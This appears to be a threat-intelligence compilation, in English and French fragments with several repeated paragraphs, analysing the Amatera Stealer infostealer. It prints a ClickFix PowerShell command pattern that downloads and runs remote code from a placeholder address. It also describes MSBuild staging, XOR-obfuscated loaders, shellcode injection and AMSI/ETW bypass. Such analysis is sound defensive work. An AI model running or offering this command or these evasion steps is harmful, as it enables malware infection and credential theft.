Amatera Stealer

Des faux sites de téléchargement ... Des pages itch.io malveillantes

Initial Access Drive-by Compromise; User Execution ClickFix lure prompts command execution.

Threat actors are abusing fake Google and Cloudflare verification pages in evolving ClickFix campaigns to socially engineer users into executing malicious commands on their own systems.

T1566.002 — Phishing: Spearphishing Link (Initial Access)

This command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe.

The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

Another interesting feature that was not previously documented relative to this malware is its use of WoW64 Syscalls... this sample defines various functions that stage a Windows API to be resolved and executed dynamically. | The code used to initialize contact with the C2 at this stage leverages NTSockets by interfacing with the device “\\Device\\Afd\\Endpoint” directly, rather than using the Winsock library.

The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.

Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command.

Les victimes téléchargent une archive contenant un fichier Setup.exe ... Une fausse interface d’installation est affichée pendant que le malware s’exécute en arrière-plan.

Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.

Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.

It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.

The .csproj file contained obfuscated logic that reconstructs and runs another layer of Base64-encoded PowerShell... This third PowerShell script is again heavily obfuscated and uses XOR encoding.

Finally, the script performs a shellcode injection routine using a combination of Early Bird and Context Hijack techniques. It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state... allocates executable memory inside the suspended process, and writes the shellcode into that space.

Next, it uses context hijacking by retrieving and modifying the CPU context of the suspended thread — specifically changing the instruction pointer (EIP) so that when the process is resumed, it begins executing the injected shellcode instead of its original code.

It begins with the Early Bird injection by launching a legitimate Windows process — OpenWith.exe — in a suspended state, meaning the process is created but not yet allowed to run.

The script first disables PowerShell logging and suppresses output by setting all preference variables (such as ErrorActionPreference, VerbosePreference, etc.) to SilentlyContinue and overriding built-in functions like Write-Host.

The command uses PowerShell to download a malicious C# project file (.csproj) from a remote server using Invoke-RestMethod (irm), saves it to the temporary directory, and then executes it using msbuild.exe — a legitimate .NET build tool included in Windows.

Reads the config data/.GEg and decrypts it using Base64 decoding and XOR... XOR-decrypts data/j3lpTcg7kBRN.E3 using the key A50YyY1 to obtain the ZIP... During project evaluation, a malicious MSBuild property function hex-decodes and reflectively loads the next DLL stage.

The loader simply reconstructs its payload and runs it in memory, so “it never touches the disk.”

Infostealer ciblant ... Credentials et données de session

Amatera is an infostealer... It can target passwords and other data stored in browsers, cryptocurrency wallets, browser extensions, messaging apps, and local files.

Infostealer ciblant : Mots de passe et données stockés dans les navigateurs

It accomplishes this by searching the file system with glob-syntax search patterns using NtCreateFile and NtQueryDirectoryFile.

The malware initiates contact with its configured command and control (C2) server via HTTP shortly after execution... Samples of Amatera Stealer observed in May 2025 contain code which suggests new support for HTTPS requests.

Three additional payloads are then downloaded: two .NET DLLs called PavinWide... and a C++ DLL called LanoseThrip, which ultimately decrypts and loads Amatera Stealer.

The malware author appears to directly connect to a hardcoded C2 instead of the previously seen C2 method utilizing intermediary dead-drop resolvers such as Steam, Telegram, or Google Docs.

T1041 — Exfiltration Over C2 Channel (Exfiltration)

The script first disables PowerShell logging and suppresses output by setting all preference variables... It then uses the open-source project Null-AMSI to bypass AMSI (AntiMalware Scan Interface) and disable Event Tracing for Windows (ETW).